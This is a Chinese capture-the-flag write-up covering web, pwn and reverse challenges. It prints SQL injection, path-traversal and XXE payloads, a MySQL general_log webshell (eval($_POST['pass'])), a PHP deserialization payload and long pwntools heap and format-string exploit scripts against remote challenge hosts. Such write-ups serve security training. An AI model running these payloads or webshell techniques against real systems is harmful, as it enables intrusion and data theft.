select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。

1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。  

 

2.CarelessPy

打开环境,可以发现有两个接口,一个是eval,另一个是login处

访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。

 

znnq0p5xa5i13756.jpg  

 

存在文件下载漏洞,构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

ugnw2v013nt13758.jpg /download?file=../../../../../start.sh 得到文件内容,app目录下 存在 part.py文件。 ig44bhdj1g013759.jpg  

 

 

继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc

或者/eval?cmd=app/__pycache__/

使用在线工具进行反编译,得到session的key

 

 

ipcpff3odlw13761.png

然后对session进行伪造
tkablvm4esv13762.png

构造session去登录,获得路由

 

qolbvojowjf13763.jpg

 

登录成功
ikhkzxhgejt13765.png
pes0f5fb2w013767.png

一看就是XML注入
pwmvrqh1gnw13768.png

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}


 

 

3.Confronting robot

方法一:

打开网页发现存在sql注入
shpzlfcpcu213770.png

直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
vxd3f0e0sjq13771.png

得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句
0zhu3dx3l4s13772.png

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
3uvccsk1tom13773.png

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来
qqahtt5e52413774.png

首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';
fvgj2vrny5k13775.png

查询是否修改成功
efigwct5bhl13776.png

在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';
oaotpooujw213777.png

然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';
hj50te2v0zl13779.png

最后直接读取game.php文件,获得flag
f3zovhthwml13780.png

SYCTF{RObOt_r0B07_3599ec7eac28}

 

方法二:

参数myname存在SQL注入,SQLMAP直接跑

 

vlhmkabgqhb13782.jpg 得到路由/sEcR@t_n@Bodyknow.php,该路由可以直接调用数据库执行SQL uaz4bfbmbhc13784.jpg

 

看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";

 

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

 

 

z2ulr1fq1vl13785.jpg  

 

 

 

4.4号的罗纳尔多

jibfcgb0fix13786.jpg

一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。

<?php 

class evil{
    public $cmd;
    public $a;
    
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

 

4bycg4xm0br13788.jpg  

 

 

三、Pwn

1.harde_pwn

第一步:溢出seed为固定值,这样的话就变成了伪随机。
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。

POC:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
 gdb.attach(p)
 pause()
 
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]


p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)

for i in range(21):
 p.sendlineafter('input: \n',str(rand[i]))
 p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)


print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))

temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]


payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')


payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')

pie = int(p.recv(14),16)-0x1502

print('pie-->'+hex(pie))
print('shell-->'+hex(shell))

gongji = pie+0x1366

temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

p.interactive()

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      b printf

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',47183)

      gdb_open=0

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    io.recvuntil('elcome to a ctype game!\n')

    io.send('\x00'*0x20)

    for i in range(21):

      io.recvuntil(': \n')

      io.sendline(str((clibc.rand() ^ 0x24) + 1))

 

    io.recv()

    io.send('%31$p')

    io.recvuntil('0x')

 

 

    

    libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

 

    io.send('%15$p\x00')

    io.recvuntil('0x')

    stack=int(io.recv(12),16)-0x38-0xe8

    io.recv()

 

    pay='%'+str(stack&0xffff)+'c%15$hn'

    io.send(pay+'\x00')

    

 

    def go(a):

      io.sendafter('input your data ;)\n',a+'\x00')

 

    def fmt(addr,value):

      pay='%'+str(addr&0xffff)+'c%15$hn'

      go(pay)

      off_1=(value)&0xff

      if value==0:

        go('%45$hhn')

      else:

        go('%'+str(off_1)+'c%45$hhn')

 

      for i in range(5):

        pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'

        go(pay)

        off_1=(value>>((i+1)*8))&0xff

        if value==0:

          go('%45$hhn')

        else:

          go('%'+str(off_1)+'c%45$hhn')

 

 

    fmt(stack,pop_rdi_ret)

    fmt(stack+0x8,bin_sh_addr)

    fmt(stack+0x10,pop_rsi_ret)

    fmt(stack+0x18,0)

    fmt(stack+0x20,pop_rsi_ret+1)

    fmt(stack+0x28,system_addr)

 

    pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

    go(pay)

    gdb_attach(io,gdb_text)

    go('%'+str(0xae)+'c%45$hhn')

 

    success('libc_base:'+hex(libc_base))

    success('stack:'+hex(stack))

    # success('heap_base:'+hex(heap_base))

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

4.pwnpwn

代码审计

main()

 

jhn3zpczep013789.jpg

 

sub_C60()

 

5ifmtttqa1t13793.jpg

 

该函数利用4个rand()%10,让我们猜4个数字

add()

 

h0aczjxnc1d13795.jpg

 

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
libc = ELF(
"./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary(
'./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter(
"root@$",'1')
    p.sendlineafter(
"give me your index:",str(idx))
    p.sendlineafter(
"give me your size:",str(size))
    p.sendafter(
"give me your content:",content)

def edit(idx,content):
    p.sendlineafter(
"root@$",'3')
    p.sendlineafter(
"give me your index",str(idx))
    p.sendlineafter(
"give me your index",str(idx))
    p.sendafter(
"give me your content:",content)
    

def dele(idx):
    p.sendlineafter(
"root@$",'4')
    p.sendlineafter(
"give me your index:",str(idx))

def show(idx):
    p.sendlineafter(
"root@$",'2')
    p.sendlineafter(
"give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter(
"root@$",'5')
    p.sendafter(
"please input your username",name)
    p.sendafter(
"please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(
0)+10)
num = (libc_run.rand()%
10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter(
"please input your number:",str(num))
    p.recvline()
    
if not p.recvuntil("you win",timeout=0.1):
        exit(
0)
    login(
"AAAAA","AA")

    add(
0,0x440,"AAA")
    add(
1,0x88,"AAA")
    add(
2,0x440,"AAAA")
    add(
3,0x60,"AAA")
    dele(
0)
    dele(
2)
    add(
0,0x450,"AAAA")
    add(
2,0x440,"AAAAAAAA")
    add(
4,0x440,"AAAAAAAA")
    edit(
4,"\x70"*9)
    login(
"AAAAA","A"*100)
    show(
4)
    libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym[
'__free_hook']
    print(hex(libc.address))
    login(
"AAAAA\x00","AAA\x00")
    edit(
4,"A"*0xf+"+")
    login(
"AAAAA","A"*100)
    show(
4)
    p.recvuntil(
"+")
    heap_addr = u64(p.recv(
6).ljust(8,b"\x00")) - 0x290
    print(hex(heap_addr))
    login(
"AAAAA\x00","AAA\x00")

    ptr = heap_addr + 
0xc60 - 0x20
    target = heap_addr + 
0x10c0 - 0x20
    edit(
0,p64(target))
    
# for i in range(5):
    
#     dele(i)


    
# add(7,0x80,"AAA")
    
# add(8,0x70,"AAAA")
    
# add(9,0x3f0,"AAAA")
    add(
5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(
6,0x218,"AAA")
    add(
7,0x4f0,"AAAA")
    dele(
6)
    add(
6,0x218,b"A"*0x210+p64(0x440))
    dele(
7)

    add(
7,0x210,"AAAA")
    add(
8,0x60,"AAAAA")

    dele(
3)
    dele(
6)
    login(
"AAAAA\x00","AAA\x00")

    edit(
8,p64(free_hook))

    add(
6,0x60,"/bin/sh\x00")
    add(
3,0x60,p64(libc.sym['system']))
    dele(
6)
# gdb.attach(p,"")
while True:
    
try:
        get_p(
"./pwnpwn")
        pwn(num)
        p.interactive()
    
except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
 
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
 
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
 
libc = ELF('./libc-2.31.so')
 
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
 
menu = 'root@$\n'
def add(index, size, content = b'a'):
    sla(menu, '1')
    sla('give me your index:\n', str(index))
    sla('give me your size:\n', str(size))
    sa('give me your content:\n', content)
def show(index):
    sla(menu, '2')
    sla('give me your index:\n', str(index))
def edit(index, content):
    sla(menu, '3')
    sla('give me your index\n', str(index))
    sla('give me your index\n', str(index))
    sa('give me your content:\n', content)
def delete(index):
    sla(menu, '4')
    sla('give me your index:\n', str(index))
def login(user, passwd):
  sla(menu, '5')
  sla(b'username\n', user)
  sla(b'passwd\n', passwd)
 
login(b'1', b'1')
 
add(0,0x418, b"A"*0x100) 
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100) 
add(3,0x438, b"C0"*0x100) 
add(4,0x108,b'4'*0x100) 
add(5, 0x488, b"H"*0x100) 
add(6,0x428, b"D"*0x100)
add(7,0x108)
 
delete(0)
delete(3) 
delete(6) 
 
delete(2)
 
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 
 
add(3,0x418) 
add(6,0x428) 
add(0,0x418,b"0"*0x100) 
 
delete(0)
delete(3) 
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   
 
delete(3) 
delete(6) 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) 
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')    
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6) 
add(6, 0x458, 0x438*b'6'+p64(0x111)) 
delete(7) 
delete(4) 
 
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
 
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
 
inter()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

5.DE_CAT

代码审计

main()

 

wgw3z1j5sn013796.jpg

 

经典堆题

init_s()

 

ntdszqbcv1r13797.png

 

不用看就知道了,要orw

edit()

 

gev0s2ngnoo13800.jpg

 

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF(
"./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter(
"input your car choice >> ","1")
    p.sendlineafter(
"size:",str(size))
    p.sendafter(
"content:",content)

def edit(idx,content):
    p.sendlineafter(
"input your car choice >> ",'4')
    p.sendlineafter(
"idx:",str(idx))
    p.sendafter(
"content:",content)

def show(idx):
    p.sendlineafter(
"input your car choice >> ",'3')
    p.sendlineafter(
"idx:",str(idx))

def dele(idx):
    p.sendlineafter(
"input your car choice >> ",'2')
    p.sendlineafter(
"idx:",str(idx))

get_p(
"./CAT_DE")

add(
0x440,"AAA")
add(
0x88,"AAA")
add(
0x440,"AAAA")
add(
0x88,"AAA")
dele(
0)
dele(
2)
add(
0x450,"AAAA")
add(
0x440,"AAAAAAAA")
add(
0x440,"AAAAAAAA")
show(
4)
libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym[
'environ']
stdout = libc.sym[
'_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(
2)

heap_addr = u64(p.recv(
8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(
0xf8,"AAA")

add(
0x108,"AAA")
add(
0xf0,"AAAA")
add(
0x88,"AAA")

for i in range(7):
    dele(i+
5)

target = heap_addr + 
0x17c0
ptr = heap_addr + 
0xc60
edit(
0,p64(target))
payload = p64(
0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(
0x100,b"\x00") + p64(0x100)
edit(
12,payload)
dele(
13)

add(
0xe8,"AAAA")
add(
0xe8,"AAAA")

dele(
5)
dele(
6)
show(
12)
p.recvuntil(
"\xf1")
p.recv(
7)
en_key = u64(p.recv(
8))
print(
"en_key ===> " + hex(en_key))
key = u64(p.recv(
8))
print(
"key ===> " + hex(key))
payload = p64(
0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(
0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(
12,payload)

add(
0xe8,"AAAA")
add(
0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(
0xd0,"A"*8)
show(
7)
stack = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(
6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 
0x000000000002a3e5 + libc.address
pop_rsi = 
0x000000000002be51 + libc.address
pop_rdx_r12 = 
0x000000000011f497 + libc.address
read_addr = libc.sym[
'read']
open_addr = libc.sym[
'open']
write_addr = libc.sym[
'write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(
0) + p64(open_addr)
orw += p64(pop_rdi) + p64(
3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(
1) + p64(write_addr)

add(
0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook。

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

 

context.log_level='debug'

elfelf='./CAT_DE'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      telescope $rebase(0x202040) 16

      b _IO_obstack_xsputn

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',49429)

      gdb_open=0

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    def choice(a):

      io.sendlineafter(' >> \n',str(a))

 

    def add(a,b):

      choice(1)

      io.sendlineafter('size:\n',str(a))

      io.sendafter('content:\n',b)

  

    def edit(a,b):

      choice(4)

      io.sendlineafter(':\n',str(a))

      io.sendafter('content:\n',b)

 

    def show(a):

      choice(3)

      io.sendlineafter(':\n',str(a))

 

    def delete(a):

      choice(2)

      io.sendlineafter(':\n',str(a))

 

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    delete(0)

    delete(2)

    add(0x4f8,'\x00')

    add(0x4f8,'\x00')

    show(0)

    io.recvuntil('context:\n')

    io.recv(8)

    heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

 

    show(2)

    io.recvuntil('context:\n')

    io.recv(8)

    libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    gadget=[

    'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

    'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

    'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

    'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

    'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

    ]

    gadget_addr=libc.search(asm(gadget[3])).next()

 

    delete(3)

    delete(2)

    delete(1)

    delete(0)

 

    add(0x508,'aaa')

    add(0xf0,'aa')

    add(0xf8,'aa')

    add(0x4f0,'aaa')

    add(0xf0,'aa')

 

    edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

    edit(2,'\x00'*0xf0+p64(0x700))

    delete(3)

    delete(4)

    delete(1)

    add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))

 

 

 

    add(0xf0,'aa')

    add(0xf0,p64(heap_base+0x2b0))

 

 

    from FILE import *

    context.arch='amd64'

    IO=IO_FILE_plus_struct()

    IO._flags=0xfbad2087

    IO._lock= heap_base+0x10000 #can read addr

    IO._IO_save_base=0x21 #size unuse

    IO._chain=0x21 #size unuse

    IO.vtable=libc.sym['_IO_file_jumps']-0x240 

    #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

 

    IO_addr=heap_base+0x2b0

    SROP_addr=IO_addr+0x200+0x10

    obstack_addr=IO_addr+0xf0

    flag_name_addr=SROP_addr-0x8

 

    pay=str(IO)[0x10:]

    #pay+=obstack_addr

    pay+=p64(obstack_addr)

    #pading

    pay+='\x00'*0x8

    #obstack struct

    '''

    struct obstack          /* control current object in current chunk */

    {

      long chunk_size;              /* preferred size to allocate chunks in */

      struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

      char *object_base;            /* address of object we are building */

      char *next_free;              /* where to add next char to current object */

      char *chunk_limit;            /* address of char after current chunk */

      union

      {

        PTR_INT_TYPE tempint;

        void *tempptr;

      } temp;                       /* Temporary for some macros.  */

      int alignment_mask;           /* Mask of alignment for each object. */

      struct _obstack_chunk *(*chunkfun) (void *, long);

      void (*freefun) (void *, struct _obstack_chunk *);

      void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

      unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

      unsigned maybe_empty_object : 1; /* There is a possibility that the current

      unsigned alloc_failed : 1;      

    };

    '''

    pay+='\x00'*0x38+p64(gadget_addr)

    pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)

 

    pay=pay.ljust(0x180,'\x00')

    pay+=p64(0)+p64(SROP_addr)

    pay=pay.ljust(0x1f8,'\x00')

    

 

    srop=SigreturnFrame()

    srop.rsp=SROP_addr+0x100

    srop.rdi=0

    srop.rsi=0

    srop.rdx=0x30

    srop.rip=pop_rax_ret+1

 

    pay+='./flag\x00\x00'

 

    pay+=str(srop)[:0x20]

    pay+=p64(libc.sym['setcontext']+61)

    pay+=str(srop)[0x28:]

 

    pay=pay.ljust(0x300,'\x00')

 

    pay+=p64(pop_rax_ret)+p64(3)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rdi_ret)+p64(flag_name_addr)

    pay+=p64(pop_rsi_ret)+p64(0)

    pay+=p64(pop_rax_ret)+p64(2)

    pay+=p64(syscall_ret)

 

    

    pay+=p64(pop_rax_ret)+p64(0)

    pay+=p64(pop_rdi_ret)+p64(0)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rax_ret)+p64(1)

    pay+=p64(pop_rdi_ret)+p64(1)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

 

    delete(2)

    delete(3)

    edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))

 

    add(0xf0,'aa')

    add(0xf0,p64(0)+p64(0x300))

 

 

    

 

 

    

    success('libc_base:'+hex(libc_base))

    success('heap_base:'+hex(heap_base))

 

    gdb_attach(io,gdb_text)

    io.interactive()

 

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

 

四、REVERSE

1.ez_cpp

patch程序, 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

爆破脚本:

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

2.3D_Maze

dump迷宫地图


m = ['#', ' ', '2', '$', '3', '@', '5']

for level in range(6):
    print('level', level)
    for y in range(10):
        line = ''
        for x in range(10):
            n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
            line += m[n]
        print(line)

手搓


level 0      跳 1-?-0
## #######
## #### ##
## #    ##
## # #####
## #     *衔接1   wddwwdddddD
## # #####
##       *衔接1   
##4# #####
###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ### 
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来  
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########


00000000000111111111111112224444444444443333333333555555555550
